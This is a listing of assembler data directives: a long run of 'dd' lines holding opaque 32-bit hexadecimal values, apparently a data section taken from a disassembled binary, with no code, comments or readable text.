		dd 2DA4E2E5h, 0C45CC506h, 67260F0h, 37261DA7h, 85A45767h
		dd 964801BCh, 239E60EFh, 0E5137170h, 0D837FEA3h, 5F0B82h
		dd 0B1DE64CDh, 0B7B70C92h, 0C3EC1E1Ch, 0F5DE4746h, 7F274886h
		dd 6414C88Ah, 1E553E0Eh, 85C8605Dh, 6F7C452Dh, 0D3DD8571h
		dd 36A232C0h, 1C0BE81Eh, 0E79F901Ch, 0D647D4C0h, 70C1E974h
		dd 0BD4F75F6h, 7CA572CCh, 7EA8134Ch, 92A00086h,	0F3AB8451h
		dd 379E84A1h, 7D807508h, 2B5900A3h, 0D302E022h,	0CAF63D2Dh
		dd 21083566h, 2A8A1221h, 0C0261FE0h, 0BE4D89A4h, 1C075EA5h
		dd 72DE1877h, 715F8E10h, 0D9CF03C2h, 4A81F711h,	0FF5A2000h
		dd 0CE17A4D4h, 286F638Eh, 580075F3h, 8785D24Bh,	307BD03h
		dd 5128F054h, 5CA8C5AEh, 95304F3Dh, 467D2893h, 9BFA1Bh
		dd 415F14C2h, 86F69F8Bh, 390E2C00h, 0E5D4FB1Dh,	0FA7800EFh
		dd 0D2A0F065h, 9D7C598Fh, 0F722401Dh, 9F955C86h, 4430151h
		dd 51A210Dh, 1DED3030h,	218F08CCh, 0D0C005Eh, 0F5AEA3F6h
		dd 5F3C905Bh, 0E52F00D6h, 59F97721h, 428A49Bh, 1A220D01h
		dd 2048621Dh, 0F0D0963h, 0AEE16803h, 90581A2Fh,	2A0BA110h
		dd 28878F4h, 649C075Dh,	80854CF2h, 608444FAh, 403B0FA1h
		dd 0D25EC69Ch, 65321CE7h, 0FB5B86B7h, 7830698Ah, 0DCA3084Ah
		dd 0EE23079Fh, 50FAA64Eh, 0E390C53h, 5A381500h,	0F6D2FB7Fh
		dd 1C593295h, 73061D1h,	211AFA0Dh, 8B912FEDh, 0D0F5D00h
		dd 4E193905h, 0DEDB5B05h, 0F0036AEAh, 19C9590h,	0E7492929h
		dd 805078FAh, 9DF64299h, 5A77514h, 656916C7h, 1095102Dh
		dd 0AA3D3E00h, 5BD6EB78h, 9BC98D14h, 5F9E14C1h,	1C450CF4h
		dd 539118h, 6FF0720Bh, 0EA173A48h, 2351F200h, 6C4BD409h
		dd 5944621Dh, 68481C71h, 0B100A16Bh, 0BDD935E3h, 11956A7h
		dd 8A049FE5h, 2489C787h, 20521428h, 0D09218E8h,	52635949h
		dd 62F1DC13h, 4AC0CA3h,	827E16Ah, 582C989Ah, 0D6CBC400h
		dd 4F2548CEh, 2360DC51h, 6B9C0401h, 691824F2h, 4C3488h
		dd 0E5F1159Ch, 9D682E06h, 67F03091h, 0B82001A3h, 0BFE53FDDh
		dd 9E28DCB0h, 731F3Eh, 0DA94C1B2h, 30EC10BDh, 1118B825h
		dd 1200E475h, 58B2228Bh, 31CF9E15h, 0CD210FA8h,	9E3603Ah
		dd 0EE7DB400h, 0D62B6F4Dh, 5215005Ah, 4D1C3EDh,	0AF3A496Dh
		dd 1F8060F6h, 0E6A5C16h, 1150422Dh, 409622Ch, 0C73C2050h
		dd 0CB00E690h, 3817DAE9h, 606C819h, 8B13C364h, 0F2002909h
		dd 0CCB96CDFh, 1141053h, 3FCFB78Dh, 86092011h, 80F6B8D8h
		dd 5FB00059h, 8AC33729h, 1900D661h, 73F701A9h, 60E74DC9h
		dd 0AD2578D0h, 0B740A49Fh, 6D37E1Eh, 82CDE824h,	11E48873h
		dd 61142530h, 0CB9B410h, 0FEA921B7h, 0DF82944h,	796EF830h
		dd 19604153h, 0C09C0880h, 7FC998F2h, 7392C21h, 8F700F60h
		dd 267E911Ah, 0CD81E4FEh, 5E92250Eh, 911A79Ch, 284EB780h
		dd 30125220h, 7D603A02h, 58315408h, 60523110h, 0FA564A04h
		dd 1780ACEBh, 0A0C38C57h, 82815EECh, 4020FC04h,	716D6721h
		dd 747F5050h, 3A190BFh,	42D970Eh, 9309EA4h, 41DF2102h
		dd 4020EFE5h, 0BB12308Fh, 3C921FC8h, 108C6A52h,	3BC0F7E7h
		dd 4C08C660h, 327E448Ch, 8A605300h, 8BFD1C1Eh, 0AA282499h
		dd 2EF98F58h, 0AEC0D3EFh, 8CD5AD74h, 380FDC24h,	73483E9Bh
		dd 594AC70h, 87A603Fh, 2E3828ACh, 10605700h, 3E99A380h
		dd 3DBEE6Dh, 2411B315h,	280A6F32h, 8C557175h, 1BE516C0h
		dd 22154697h, 3ED40003h, 0ABE728E5h, 0E1E96A7h,	8C472680h
		dd 0B0FD9BB4h, 0D997A3FDh, 0E15C0064h, 0D00671E6h, 4C402B49h
		dd 1852B8h, 4FE97296h, 1B6536h,	8CA9DF48h, 1EECAE31h, 7C299502h
		dd 41718D15h, 25101284h, 17181F03h, 0DF90A0Bh, 43D701DEh
		dd 0C4B7AA1Ah, 70FC22A9h, 17551900h, 6DB41B8Bh,	0B3E33AA3h
		dd 65011622h, 0BD855510h, 0D3F65Dh, 2AA97A99h, 0B4AE5952h
		dd 57163001h, 1113197Ch, 0D89A6F3h, 0A863FC96h,	0EB3021F8h
		dd 0F66E21F8h, 0B0025341h, 0E5AB3357h, 182597E9h, 3CD28807h
		dd 0A7D6E500h, 8A8723F8h, 3B7500ECh, 1E406D09h,	0FA488D3Ah
		dd 7F700440h, 4C80AE2Ah, 6C22117h, 55A2C18h, 0F03D2071h
		dd 0B948E0h, 8BEEEFEh, 0A015FAA7h, 368A1FD8h, 182873CCh
		dd 48B61230h, 2A3C200Ah, 2E0A428h, 41AE80D8h, 0DC859B1Eh
		dd 0CFE04C37h, 0C800DD21h, 0EE0C5BAEh, 1232DAEFh, 50E3D48Ch
		dd 0CF23C45Ch, 1A28B420h, 0C485C08Bh, 54E76080h, 22D7A6A8h
		dd 120084F6h, 0CD9E97B1h, 2DC56Ah, 0EC287C67h, 200965CFh
		dd 2583E52h, 1E3FAE7Ah,	10D0316Bh, 0E0AEC2E3h, 27B1011Ah
		dd 648AA89Eh, 13844368h, 80605FB2h, 8D390219h, 92520A56h
		dd 8C1EE47Fh, 0F3742C24h, 72028A18h, 2027BC28h,	4CE04C0Eh
		dd 8138B3Eh, 2D7438B4h,	0DF605600h, 0C93BEDC0h,	50AA02CFh
		dd 0CAC7FCA4h
		dd 7A8BB080h, 0A0DF7B9Eh, 0CD239910h, 18551A01h, 0FF18138Bh
		dd 62B740h, 19C75511h, 7FB66EBDh, 0FCD38C00h, 0B8720D69h
		dd 0C5E61F36h, 12923F08h, 42104880h, 3BAEC6C0h,	22CB461Eh
		dd 0CEF700D4h, 4236C7AEh, 56F423A3h, 51B08865h,	0F2FDA898h
		dd 67A6488Fh, 9DA5820Ch, 4EE2941h, 11D11403h, 2EB68F84h
		dd 0D4B019h, 0D55B0B6Dh, 0B339F3A3h, 0B60389EFh, 11C0379Ch
		dd 43DC8006h, 0B9430D0h, 698D424Ch, 36977801h, 0C184410Ah
		dd 8125718Ah, 0F0A70698h, 90527B9Bh, 0AEC73043h, 908CBCB2h
		dd 0F8DC44h, 0CA3CAECFh, 0FD387FA8h, 4971AC0Bh,	918C1DB4h
		dd 91A7807Ch, 0E2B42230h, 4D2104Bh, 730A156Dh, 0BC844C88h
		dd 187143BCh, 0FE883ACCh, 0B74B1994h, 185348F7h, 19E50918h
		dd 6C9C4597h, 0E540DE03h, 0C8D4928Eh, 4F078AFh,	67F47D2h
		dd 882C8E20h, 1E67E3CFh, 0B69981FFh, 0ACC6DD04h, 71009CF0h
		dd 96D8E3B8h, 0A26326ECh, 0EE09BFD0h, 802A32A8h, 80CE1198h
		dd 8B19550Fh, 0C0B342EBh, 0F154E663h, 34111DC7h, 16BB40F8h
		dd 9C72A81Bh, 5A70400h,	29267C54h, 145D5D5Ah, 0BDA4300h
		dd 1F073157h, 3C4F1329h, 3718FD71h, 75B1A3A0h, 68F49502h
		dd 0C98A9772h, 8070FEC0h, 635A098Fh, 588116ADh,	25C7B704h
		dd 88D6F000h, 30B8480h,	41752EDAh, 27C2878Dh, 59E43445h
		dd 93986E63h, 2104C2FCh, 7928A45Ah, 0C4904FC2h,	9DD8A1A0h
		dd 7191A510h, 240A19C0h, 0C481F7C4h, 80DF7611h,	8E681B81h
		dd 6F5B2100h, 0B25C0A47h, 60A005B0h, 80B32297h,	0FD210F50h
		dd 141C174Dh, 10F0678Dh, 4604A95Fh, 0C19EB479h,	32810ADCh
		dd 4558B34h, 7C604018h,	1E233DAEh, 7DA117Bh, 0F1AEC4E1h
		dd 0C342F4F0h, 48E4CCCh, 7209A610h, 701349h, 4989EDA0h
		dd 60509F8Ch, 446F4928h, 0F27CC9ECh, 6E467105h,	8088738Eh
		dd 0C766288Dh, 21146C0h, 87C603Dh, 1056313Ch, 605530h
		dd 690EEB6Fh, 0CDF6C6ADh, 46C14F04h, 80CB1474h,	17015223h
		dd 3D9718E5h, 8092D423h, 9964C0A8h, 0B6309002h,	829EDFD4h
		dd 51261BA0h, 8842CE0h,	71871221h, 6DE030F0h, 5C75DF06h
		dd 6BC34CBDh, 909ECA72h, 0D597D880h, 0C63F10B9h, 15551B02h
		dd 58C70B8Bh, 55126700h, 314ADB6h, 0FEE52895h, 408F16C8h
		dd 5E0DC026h, 13909213h, 8F2CCC09h, 1286A87Ch, 3D8D0F7h
		dd 3E0A3217h, 0F4A28D83h, 0B3FC6F80h, 33CFD0E4h, 0E2910CA8h
		dd 20F50188h, 0A20387F4h, 69CA4ECEh, 2599508Dh,	260C7848h
		dd 6647E8Ch, 698896A5h,	90F41300h, 0EA70D45Ch, 0FC10536Bh
		dd 82C6B903h, 8100A08Ch, 8B7428A5h, 0D654EA72h,	2BAE0AB0h
		dd 84F38994h, 9C810446h, 51518C8h, 3B8B1355h, 44CBB3h
		dd 54550C49h, 265A1E4Eh, 1C4C7051h, 60A7C574h, 0B69406C0h
		dd 0EC91785Fh, 8671BAD0h, 1814BB00h, 0DFD11615h, 4AB912A2h
		dd 1110C8ACh, 1E00DCE2h, 1C0A93FFh, 0B2793Eh, 5D9E450Dh
		dd 0ACA7D404h, 0EF295C01h, 0C189F772h, 0BBF2020h, 0D0FEB15Ah
		dd 6F76B438h, 0D1732074h, 10F8C248h, 305051BEh,	0F6DA408Bh
		dd 9959EAh, 22F03982h, 0BF8E819h, 5C10007Eh, 77CDDE02h
		dd 3600AE05h, 0B6784DA3h, 13537227h, 216B97A4h,	0F669DF5Ch
		dd 0D0864464h, 0F9D1BCB1h, 6900E218h, 0EDB43882h, 2730F5A8h
		dd 9BFE228Fh, 2D8C421h,	2C778673h, 3E8F060Ah, 0B509BC1Fh
		dd 6850054Eh, 0F1EF8C05h, 4CE20888h, 65A0905Dh,	9403EE36h
		dd 0A9B2C12Fh, 68D10024h, 53B59007h, 1500036Dh,	0E0C91150h
		dd 9E7A0E84h, 52438764h, 0C591DC7Eh, 5EDA2300h,	0DE3B42CCh
		dd 71E600D2h, 11A90A72h, 370060C7h, 17D3452Bh, 6C1F2838h
		dd 0F7D9A90Dh, 0F9F07D41h, 0FC0E0B78h, 4D0069B9h, 14515DC3h
		dd 0B6777601h, 5A6FFF82h, 743041D5h, 326C880Eh,	445DC100h
		dd 0F61534C4h, 9894007Bh, 81FEBC75h, 88CE1856h,	0F3A408Ch
		dd 942B197Ah, 9C41805Ch, 0E7F0B363h, 0A7E49200h, 603BF93Fh
		dd 0D59D0407h, 0CAD81871h, 0B8AC58B4h, 734306h,	785C6608h
		dd 54A94FD9h, 386B827h,	0ABC4B6B9h, 3100107Fh, 0C9A11147h
		dd 2D368h, 0D13E8D1h, 3D2641CCh, 10E31704h, 0D0CC2A3Bh
		dd 5C389629h, 36095946h, 7780B4D9h, 25FE094Bh, 2403F524h
		dd 2700772Ch, 1F1037CFh, 12081692h, 88108ED1h, 2A0EC07Ch
		dd 1018BD33h, 28F915F3h, 9AC0A89Fh, 0D6AE0070h,	29A70809h
		dd 0B00B9EFDh, 847D9227h, 0CB5203B4h, 0CBCEC858h, 0BD89100h
		dd 192486A3h, 62088877h, 0A9CF0F7Ah, 438F91B8h,	9A293Bh
		dd 5834396Bh, 6108011h,	6D97153Eh, 3D468004h, 3EAE7902h
		dd 0DB31631Eh, 0AEC1DE10h, 380076F4h, 0EB931890h, 0FC2AA54Eh
		dd 132F4AFDh, 165E0BD8h, 6D0AC849h, 61068F60h, 0D3D2229h
		dd 8F0AC040h, 4CB54C46h, 19922B03h, 83E4CCE4h, 83F490A8h
		dd 8BC8758Ch, 1031E1EEh, 197D1862h, 448CD870h, 3C0FB96Ch
		dd 0E9577363h, 6104ED09h, 0D4D0F90Ah, 0B7FA8A9Ch, 0C0040E90h
		dd 0B3DB8BF4h, 7EF234A2h, 0B0980930h, 4EEE2050h, 8E0028FDh
		dd 2EF4911h, 78BEA611h,	79F0B160h, 10E18D9h, 1CE272DEh
		dd 42B19769h, 8C2019C0h, 0C2D3DBFCh, 0BE1DC970h, 0CC9228EAh
		dd 6156FC84h, 97DCE513h, 0C0B0B91Dh, 5AE53BD1h,	8644C907h
		dd 0CBF28D1Ah, 0C04604DBh, 4E21514Fh, 2C520E26h, 12603944h
		dd 972517E5h, 35D896F5h, 203AD8h, 0D9523F5Dh, 7401FD9Fh
		dd 165DA086h, 0C8FAEC97h, 0A0371104h, 0C79E74h,	5B5FF202h
		dd 657A228Dh, 48D48A80h, 1C4C091Dh, 51EE017h, 800B39F0h
		dd 0BD222B30h, 1638B948h, 704075BAh, 5EEC4335h,	81D89CD8h
		dd 251E5FA9h, 90844562h, 7F5585A0h, 7CB821C1h, 2822E5F0h
		dd 42D8A27Bh, 14D80034h, 5FA2819h, 740DF356h, 0B524B4C0h
		dd 102CFE48h, 38C0F7E8h, 6408C760h, 33C07499h, 1AE6050h
		dd 142EDB68h, 0DC6D1ED0h, 0B49211A8h, 0E3CA9500h, 4EA20B9Ah
		dd 6A89009Dh, 0D90784A1h, 0F8B010F8h, 1602C146h, 338B1455h
		dd 66606CD1h, 28C550Dh,	0B48A7211h, 0A8806338h,	999C2A8Fh
		dd 2700F8B0h, 87BCED5Dh, 5032A75Eh, 1C9B003h, 0A12BB150h
		dd 0F8D06AAEh, 2401AA94h, 8F9B62DFh, 0F82C9E72h, 78048A0Fh
		dd 6488583Bh, 2700A894h, 0BB0732B1h, 17B27216h,	4C83697h
		dd 87A2C6A4h, 0A87FC198h, 0CBDC553Dh, 0C0FCC8C8h, 0F1D87E64h
		dd 0AC02F8EEh, 8A1CA449h, 0AECA00Bh, 2EF745BFh,	730C2A8h
		dd 97BB4932h, 430D947Eh, 0F01510E0h, 0E467464Ah, 0CDCF0481h
		dd 91A52BAEh, 0C02D5108h, 0FE004E3Ch, 188632B9h, 314C62Ch
		dd 0AEE00734h, 0CEAAB493h, 33206C40h, 0DFF01606h, 1E8AB21h
		dd 505863B8h, 31B18D10h, 4CDC28D3h, 807C2D64h, 837F0684h
		dd 9C7D5C36h, 34C432Eh,	6CF15A20h, 0B4732002h, 9E3ECFCCh
		dd 39222320h, 9150172Dh, 98A5C2D4h, 0AA584987h,	0EA000C72h
		dd 5EE26831h, 10A0F5BBh, 0C37A153Bh, 57FB1300h,	2BCE6574h
		dd 2E285F5Fh, 5A2318h, 0F3051440h, 2B31D3C8h, 255A99D1h
		dd 0E0AE2D0h, 8475A439h, 626D360h, 3D00552Ah, 60799C63h
		dd 5B45E28h, 14C58BB8h,	0E404F52Dh, 0E35FEC96h,	228F1002h
		dd 0F9745836h, 80D323E8h, 289C7F90h, 47A60780h,	137A63h
		dd 0FA5A1150h, 14186591h, 0B49E50B0h, 1CF465Ch,	6EF1C185h
		dd 64316F33h, 7882A4F5h, 585A728Dh, 0E8B9B864h,	4018FB79h
		dd 777DCE06h, 98A087D8h
		dd 165611CCh, 0BDEB1080h, 8BA5771Ch, 88172912h,	5D805791h
		dd 9C7BA9A0h, 7DBB8002h, 9B5001A6h, 10D5C89Ch, 0B40C0044h
		dd 1B3DCCB7h, 6D592741h, 7881B924h, 0B74AC418h,	92A5F0B2h
		dd 13918360h, 5E6A5A6Bh, 0DC90024Ch, 0A888BDBFh, 512204CDh
		dd 0A10A420h, 0CD798491h, 7F014018h, 2A8B537Ah,	0D0486686h
		dd 8E7B190Dh, 69F61082h, 699B1224h, 11001216h, 0BF392910h
		dd 4A38016Ch, 728AC601h, 51C3197h, 88DC8EC8h, 22B3C0CEh
		dd 0DF1766ABh, 0B840BF35h, 0CD85283Ah, 9FB40111h, 2147E0A0h
		dd 84B84E94h, 0AF307305h, 0C40D028Dh, 0E9C7FB23h, 0ED20F982h
		dd 14E8CCBBh, 0D70E5836h, 599689BEh, 0B069F740h, 8AA31607h
		dd 0C00DB8Fh, 0B65BD61Eh, 7A1738DFh, 6B4F6021h,	0C9ED1000h
		dd 9DE8A169h, 0B7FF086Ch, 36B6DE60h, 2E9E3875h,	45903800h
		dd 14113A28h, 46761096h, 7E34015Ah, 4B36A344h, 72F180CDh
		dd 2E2B873h, 883B833h, 0C0AA257Fh, 9A8C48C0h, 31C8509Dh
		dd 8DD17DEEh, 0B92460B8h, 0A58109F8h, 99A564E1h, 59E4C045h
		dd 0A2FA7D60h, 0EBA04A02h, 0A88B7E85h, 0C309C9D4h, 482C49C0h
		dd 0D31E0474h, 0C8008BB9h, 0AFE8C301h, 0A45A2BC2h, 0CBB2BE00h
		dd 45C6FF87h, 0D28977F0h, 0C458CB81h, 3F3071BAh, 8100AB7Ch
		dd 0F0D058Ah, 1FAA67DBh, 6C468CA7h, 807932B4h, 9200C472h
		dd 93710918h, 2A1679h, 0DA661BE4h, 0EFE8AFB4h, 0F706B805h
		dd 0CC16BA2Dh, 43D43605h, 0B8F20895h, 0CB7FDF1h, 0C5C200D8h
		dd 1185DA6Ah, 8F258884h, 379080F2h, 0D31E72B4h,	23903A50h
		dd 0F8110057h, 2FBC0DEDh, 96194F1Eh, 0F9AB284Ch, 3D6478B2h
		dd 80001D7Dh, 0CD5CD9B8h, 0B4947F2Dh, 3A41FE80h, 0EBCC23F4h
		dd 400058EEh, 0BE2643D9h, 0D419C5Ah, 5CEE988Ch,	1465CD0h
		dd 80F2317h, 8785D3A0h,	0EF00B56Bh, 0C7A70538h,	39F074h
		dd 606E78D4h, 93BB7CCCh, 553AD3Ch, 71992411h, 418BDC88h
		dd 0D74C29A5h, 358000DAh, 0DCF7E3E9h, 43B48C16h, 0ACA3A080h
		dd 0F14046Ah, 0F4A88FAAh, 4F00BC08h, 993670B3h,	1EA5DC3h
		dd 1B5CF2C5h, 0F4E2F6CEh, 42183C0Ah, 0B8E92511h, 0B497958Fh
		dd 7C9A7F91h, 0D100FCD2h, 0A8E2793h, 28019FAh, 54131AFBh
		dd 0FCE8782Bh, 689E9FA5h, 3910AA8Ch, 3D070026h,	92DECFF1h
		dd 2500AD04h, 4E813FD3h, 11F0AFC5h, 7EF6B6h, 9C9A7CAEh
		dd 8E1C01h, 0DAE5B4D7h,	1796E1AFh, 5CAB413Eh, 84212458h
		dd 0F84674h, 1E35EB08h,	25B98D86h, 0F01720F2h, 60B81488h
		dd 627A8BA4h, 7C0F504Eh, 89A7E5DDh, 52AA3888h, 2800D808h
		dd 0EC5B70EEh, 0DA2A6D19h, 0D49CCC9Ch, 0BB5102DCh, 0F5DF5E6Ch
		dd 8D18DC68h, 2ECEE3A1h, 712E8044h, 0E506C51Fh,	23342B08h
		dd 61E905D4h, 0A1E4B3F7h, 0D80CB817h, 0E8FE1201h, 2A728D8Fh
		dd 60006C28h, 0B7CF499Bh, 85CB866h, 8CD9BC80h, 0EE463400h
		dd 0A7F0EDCFh, 0E7950076h, 11AB0E59h, 0C91FE7Ch, 0D618FFD1h
		dd 0E08BD0Fh, 0FD0F8166h, 8CCC3F4Bh, 7A8D0B79h,	40E865E2h
		dd 70BCA903h, 1FC4676h,	3E12C845h, 0FEEC8322h, 5875F6D8h
		dd 0A217C4E6h, 81508004h, 14BA0FE8h, 465CE496h,	0FA30057h
		dd 6D153BA8h, 76212BAh,	0A4B4029Bh, 7478BBB4h, 7606C612h
		dd 5E204F2h, 88B0032h, 4DED69Fh, 0E96D111Fh, 816CAC82h
		dd 165092B7h, 0B392C0BDh, 4860F0FBh, 0F0E61544h, 6D8E26F6h
		dd 0BB215E98h, 0B6938371h, 0D6988396h, 14EEEFD4h, 0D8D56FFAh
		dd 80E880B0h, 72AE8D0Bh, 40A4B68Bh, 18352694h, 0EEC67A01h
		dd 2C92BEA5h, 1490032Ah, 3AB57EE3h, 175A23BCh, 2D00BBB4h
		dd 0AC4687A8h, 0DCF0B4F4h, 40BDDE00h, 0BFECB70Ch, 41D8C2CBh
		dd 1C720A7Eh, 0EF50E200h, 29FC5616h, 0B14202AEh, 2B108B45h
		dd 0DC87A054h, 5987CB8Eh, 8F6D7A11h, 58CCD3CAh,	0E316CE27h
		dd 500462FEh, 380BD86Bh, 6AE2E018h, 0C98D010Fh,	8E72A48Bh
		dd 79243CA8h, 97A703F4h, 0E04A23E4h, 7F23F02Fh,	8804F317h
		dd 2902C089h, 3078D122h, 0DA970A13h, 186F68C1h,	810918Bh
		dd 0DC625C12h, 0DCB65400h, 0C0C2AA43h, 0F91F76A5h, 18577908h
		dd 0C76D00BFh, 0B604B9FCh, 3606AFFFh, 3891A7BBh, 8A8424E9h
		dd 82E24E88h, 60E4103Ch, 757F8E02h, 0E95DAD43h,	0BC14E62Ch
		dd 8C01BCCCh, 56495A0Ah, 0C00382Bh, 693930ACh, 97722F8Eh
		dd 0CF91041Fh, 58DD5080h, 8CE8FB25h, 973DA027h,	80DA9134h
		dd 7DD8FDEEh, 2C94FCC8h, 0DE00E566h, 7A971D01h,	92FF93EBh
		dd 40A6C464h, 5D59DA4Ch, 34843DBCh, 6CB239E5h, 4530DCF2h
		dd 0E4AF0F0Fh, 0EE0076Ch, 71CD7E4Fh, 46764496h,	5C3D3F08h
		dd 5A2904A2h, 34FCFF89h, 6B5EE039h, 0E0D500D0h,	2B9AE735h
		dd 8D810025h, 18998C60h, 0AA12EE2Ch, 0C8F056A7h, 75851F15h
		dd 72F8C0C1h, 5DB034DFh, 9E00A87Bh, 6B97482Ch, 25A746h
		dd 0CBEED5ABh, 8E8C8B6h, 24BE313Ah, 0C3C201Bh, 11C49674h
		dd 10576A8h, 27045E1Ah,	982C47B2h, 8521AF08h, 6C40F1Dh
		dd 0BBE061DCh, 5C81E9B6h, 11EDDF0h, 0D114F02Bh,	52550E08h
		dd 0C2A30083h, 67A0D653h, 0C2BF18BEh, 720009B3h, 67FF631Bh
		dd 11C860EDh, 406CF37Ch, 6BC352C4h, 0C2084766h,	742D0021h
		dd 951AFEF3h, 9B00103Dh, 600F2E6Ah, 0C8D54271h,	21CF6D50h
		dd 4F536EF3h, 2B20D619h, 3FF34Ah, 0C1A770Ah, 66D88246h
		dd 5FA8DA50h, 0AFAE5714h, 0F8E3EA0h, 83308D53h,	6413A2FFh
		dd 606C7040h, 236DF37Dh, 0C4117753h, 0F3752A00h, 56B26201h
		dd 160F830Fh, 9A0E40C2h, 54B3B86h, 2352357Bh, 0D990023Eh
		dd 0DC80A980h, 8B53B51Bh, 0EB182F60h, 0A0C168DEh, 15C1DA8h
		dd 0CCC70BABh, 9FBE06F5h, 0E50F1031h, 0F097036Ch, 3B190007h
		dd 82030465h, 0EC19A369h, 3D08719Ah, 6D5A2180h,	0C20DFB04h
		dd 6B042F76h, 155D806h,	76C08241h, 629043CCh, 3C84C1F8h
		dd 0D486570Ch, 1AF90A9h, 6D8AE609h, 424B1A97h, 5C20D890h
		dd 0E24CB479h, 544A00C0h, 70B2B864h, 93032907h,	4D080697h
		dd 308866Dh, 1B135561h,	0BED1586Fh, 19644893h, 82210477h
		dd 6146C009h, 2600FF04h, 884AFA0Fh, 0C5F5E0Eh, 0EED44922h
		dd 0A7145D50h, 500853C1h, 0E18C4B88h, 465E65D8h, 30AD222Ch
		dd 0E4201888h, 37FADB02h, 28F94401h, 0A7E13C42h, 8C607024h
		dd 69F37902h, 16519753h, 0F3712E00h, 0EC59FA0h,	15AD0287h
		dd 37830A34h, 0DB6DFC81h, 0A2DC23B0h, 3D0C30D3h, 72D80E0Fh
		dd 10E20950h, 38AB702Ch, 5F803E0Fh, 0E7F17DDEh,	1F0A8951h
		dd 0A80DF357h, 20494F80h, 2CF8693h, 6E75B4ECh, 0F0800867h
		dd 667D3BD8h, 0C9DDFE30h, 0D13370h, 94EEDC3Dh, 0F975CA90h
		dd 0E0CE5207h, 9D5091BCh, 480B6660h, 53095D8Bh,	202704B6h
		dd 119C8A14h, 0F3788067h, 8C9F5368h, 11C144h, 95D7F370h
		dd 0BF5CC546h, 0DCA26124h, 0F6201801h, 9C5234D1h, 0D8073176h
		dd 74465E18h, 8302D022h, 15EAC41Fh, 5BD94082h, 0D36D1247h
		dd 961849D1h, 4644830h,	61820211h, 45893388h, 80BC0E6Ch
		dd 61D0B896h, 9DF0063Dh, 0F014BEC7h, 97E18F3h, 6F536AF3h
		dd 2F265C9Ch, 0F41F9476h, 36D591C0h, 60C2C102h,	6FC9E8D2h
		dd 80A0A7F2h, 0F4A8A8E2h, 0E0002BF4h, 55330398h, 21C1EE4h
		dd 0FEFCDF1Fh, 0F00309A6h, 7EB1041Ah, 9026FA3Dh, 0B289D964h
		dd 0E2812C99h, 0D5A6F885h, 0D118708Ch, 6E19D998h, 7128BD6Fh
		dd 4CE10430h, 0A70C417Bh
		dd 7890B1C9h, 972A2B0Bh, 3700090Dh, 9B2A87D8h, 0CE098018h
		dd 0C735929Ah, 0E80420EBh, 0C0050F9h, 0C36FD89Bh, 976D91C9h
		dd 80319184h, 5CFE209Ch, 4B9130A7h, 0ACF88458h,	2048C58h
		dd 7987D9C8h, 2B8C80C7h, 0C52A1F0Ah, 48A7F3D8h,	18C0923Ch
		dd 46820604h, 1362201h,	0C4046041h, 24D894FBh, 0EC009544h
		dd 11867A69h, 5BAFEBh, 8AF8668Eh, 42F729C1h, 0D4E7C528h
		dd 23C88489h, 30C4A228h, 34008CC7h, 9E75DD27h, 0FF53E31Ah
		dd 0CC20B7C1h, 918E6A95h, 0AE4674A4h, 1CC53F1Eh, 6F58C217h
		dd 0A49B30C0h, 8982916h, 0CD16C004h, 0C5A9D900h, 575C691Ch
		dd 88DE305Ah, 0A2475E1Eh, 61C800CBh, 0C0B1C2Bh,	0E6C8529Ah
		dd 0E4997D48h, 8C18D279h, 7531F406h, 19C195h, 5EE9C5A2h
		dd 0AF793673h, 6017FDFEh, 6804EC2Ah, 8007A668h,	32089104h
		dd 0C93983D7h, 165D0A5Fh, 6D1FA0h, 0C334EB64h, 0FEE28CCCh
		dd 0D4076E45h, 0F373C068h, 4743536Fh, 0C04B2884h, 86B74A74h
		dd 5E0E3E78h, 0E6532B05h, 2690B244h, 60DCC7CEh,	0DBE567DCh
		dd 52668501h, 779045D0h, 0C5A24C63h, 7A0F30h, 6F1A8A59h
		dd 7BE3346Bh, 32177990h, 5845353Bh, 0C008E5D1h,	6103C74Ah
		dd 23145E64h, 60878E10h, 55DC7AC4h, 65162603h, 42A11231h
		dd 0A6DECB0Ch, 0F6569840h, 0A40F1100h, 1DDF6E2Fh, 0FBD901B3h
		dd 0C43B3142h, 0F25023C1h, 0F3CF30D1h, 0BD716603h, 180D2F5Bh
		dd 89B786D1h, 23302A35h, 0C455181Ah, 84080617h,	49DB9496h
		dd 0F006AF4h, 47C6536h,	0EB0BABFh, 0F0062F82h, 1D6C0456h
		dd 5EA4C8E3h, 7FAD6C00h, 7CC6B35h, 883683Dh, 9473007Ch
		dd 0FE6045ADh, 9BC4EE54h, 0F78F3C00h, 0F010258Eh, 306C4C8Ah
		dd 0C38C3FBCh, 17354D64h, 9D65DD98h, 0BCBB8F09h, 0E4184580h
		dd 0B4CC6037h, 8700B967h, 3088AAC3h, 32946018h,	77A50200h
		dd 7E429A46h, 0F6157AE5h, 0B4182069h, 28C0156h,	357BAD68h
		dd 0C75A304Bh, 907780h,	9BD2BDADh, 1DF73E2Ah, 0B9920B04h
		dd 78B5BFC8h, 8C98BC20h, 11046638h, 32887182h, 46E5B80h
		dd 1376D46h, 0B524EDCFh, 40219B33h, 0D4B1E9F8h,	50B0DA48h
		dd 34400310h, 0FC1A4CB8h, 14367F10h, 23F46A8Eh,	0AD69011Eh
		dd 18733578h, 917088A6h, 0D77CAD01h, 0FF81EACBh, 48EE05C8h
		dd 87FB077h, 3E6F322Bh,	1D5F0600h, 6B666DD8h, 443740BCh
		dd 0B142C380h, 162185h,	0CA8E4617h, 0F2BED8D5h,	0DCBF20F1h
		dd 0D0327C91h, 8A6D311Ah, 689335B0h, 0AD95E853h, 0B04A003Ch
		dd 42B3845h, 81C709F3h,	8FC0D780h, 0CF2D13h, 0BA96D55Ah
		dd 0FFFD5048h, 0E8D4EC58h, 0F53B8C3Ch, 99B40032h, 556A486Bh
		dd 0A4FC28DEh, 4694A6D8h, 41F0291h, 9C398209h, 67400094h
		dd 3C28CA04h, 2C267792h, 70116CE6h, 9D6098Eh, 10656448h
		dd 0C4018183h, 5F89E8DAh, 13D2F8BCh, 6F6F8550h,	7C1500C0h
		dd 0C0E2954h, 5C6B044Ch, 86A1F5BFh, 0D817A078h,	3C3F7250h
		dd 4E003F23h, 0AD7D03AFh, 8DE603E7h, 0C0C41623h, 8647D101h
		dd 0BF17208h, 0F80632F0h, 0EE7A0312h, 0C65981D9h, 0BC742849h
		dd 67840CBEh, 4E910EF0h, 8071F901h, 0BD5662D9h,	7B4498E7h
		dd 2E201782h, 6D1000CAh, 0EE2A610Bh, 0BB8C0E00h, 0AF06ABF1h
		dd 10A14A44h, 0C0E8B464h, 2FBA0E8Ch, 99FD4450h,	0E1E79134h
		dd 0C402CC4Bh, 0C781A50Fh, 3D7C07Fh, 2822FD54h,	25C897F9h
